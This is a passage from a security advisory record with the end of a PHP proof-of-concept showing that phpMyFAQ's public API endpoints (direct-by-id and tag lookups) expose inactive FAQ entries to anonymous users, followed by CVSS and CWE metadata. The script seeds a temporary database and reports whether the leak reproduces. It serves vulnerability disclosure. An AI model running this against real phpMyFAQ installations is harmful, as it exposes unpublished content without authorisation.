sprintf('DELETE FROM faqdata WHERE id = %d', $faqId));\n\n    pocQuery($db, sprintf(\n        \"INSERT INTO faqdata\n            (id, lang, solution_id, revision_id, active, sticky, keywords, thema, content, author, email, comment, updated, date_start, date_end, created, notes, sticky_order)\n         VALUES\n            (%d, 'en', %d, 0, 'no', 0, 'probe', '%s', '%s', 'Probe', 'probe@example.test', 'y', '20260601010101', '00000000000000', '99991231235959', '2026-06-01 01:01:01', '', 0)\",\n        $faqId,\n        $faqId,\n        $db-\u003eescape($question),\n        $db-\u003eescape($answer),\n    ));\n    pocQuery($db, sprintf(\n        \"INSERT INTO faqcategoryrelations (category_id, category_lang, record_id, record_lang)\n         VALUES (%d, 'en', %d, 'en')\",\n        $categoryId,\n        $faqId,\n    ));\n    pocQuery($db, sprintf('INSERT INTO faqdata_user (record_id, user_id) VALUES (%d, -1)', $faqId));\n    pocQuery($db, sprintf(\"INSERT INTO faqvisits (id, lang, visits, last_visit) VALUES (%d, 'en', 0, 20260601010101)\", $faqId));\n    pocQuery($db, sprintf(\"INSERT INTO faqtags (tagging_id, tagging_name) VALUES (%d, 'probe-private-414')\", $tagId));\n    pocQuery($db, sprintf('INSERT INTO faqdata_tags (record_id, tagging_id) VALUES (%d, %d)', $faqId, $tagId));\n\n    $controller = new FaqController();\n\n    $categoryRequest = Request::create('/api/v3.1/faqs/' . $categoryId, 'GET');\n    $categoryRequest-\u003eattributes-\u003eset('categoryId', (string) $categoryId);\n    $categoryResponse = $controller-\u003egetByCategoryId($categoryRequest);\n    $categoryContainsProbe = str_contains((string) $categoryResponse-\u003egetContent(), $question);\n\n    $directRequest = Request::create('/api/v3.1/faq/' . $categoryId . '/' . $faqId, 'GET');\n    $directRequest-\u003eattributes-\u003eset('categoryId', (string) $categoryId);\n    $directRequest-\u003eattributes-\u003eset('faqId', (string) $faqId);\n    $directResponse = $controller-\u003egetById($directRequest);\n    $directContainsProbe = str_contains((string) $directResponse-\u003egetContent(), $question)\n        \u0026\u0026 str_contains((string) $directResponse-\u003egetContent(), $answer);\n\n    $tagRequest = Request::create('/api/v3.1/faqs/tags/' . $tagId, 'GET');\n    $tagRequest-\u003eattributes-\u003eset('tagId', (string) $tagId);\n    $tagResponse = $controller-\u003egetByTagId($tagRequest);\n    $tagPayload = json_decode((string) $tagResponse-\u003egetContent(), true, 512, JSON_THROW_ON_ERROR);\n    $tagContainsProbe = str_contains((string) $tagResponse-\u003egetContent(), $question)\n        \u0026\u0026 str_contains((string) $tagResponse-\u003egetContent(), 'inactive FAQ preview');\n\n    echo \"phpMyFAQ version: \" . System::getVersion() . \"\\n\";\n    echo \"Inserted FAQ: id={$faqId}, active=no, anonymous-readable, category={$categoryId}, tag={$tagId}\\n\\n\";\n    echo \"GET /api/v3.1/faqs/{$categoryId} status: \" . $categoryResponse-\u003egetStatusCode() . \"\\n\";\n    echo \"Category response contains inactive title: \" . ($categoryContainsProbe ? 'yes' : 'no') . \"\\n\\n\";\n    echo \"GET /api/v3.1/faq/{$categoryId}/{$faqId} status: \" . $directResponse-\u003egetStatusCode() . \"\\n\";\n    echo \"Direct-by-id response contains inactive full title+answer: \" . ($directContainsProbe ? 'yes' : 'no') . \"\\n\\n\";\n    echo \"GET /api/v3.1/faqs/tags/{$tagId} status: \" . $tagResponse-\u003egetStatusCode() . \"\\n\";\n    echo \"Tag response contains inactive title+preview: \" . ($tagContainsProbe ? 'yes' : 'no') . \"\\n\";\n    echo json_encode($tagPayload, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES) . \"\\n\\n\";\n\n    if (!$categoryContainsProbe \u0026\u0026 $directContainsProbe \u0026\u0026 $tagContainsProbe) {\n        echo \"VERDICT: reproduced inactive FAQ exposure through public API controller paths.\\n\";\n        exit(0);\n    }\n\n    echo \"VERDICT: not reproduced.\\n\";\n    exit(1);\n} finally {\n    if (isset($tempDb) \u0026\u0026 is_file($tempDb)) {\n        @unlink($tempDb);\n    }\n}\n\n~~~","status":"published","published":"2026-08-25T17:30:23Z","modified":"2026-08-26T01:18:31.057381378Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-200","CWE-863"],"updated_at":"2026-11-02T15:46:51.811331Z"}]}}
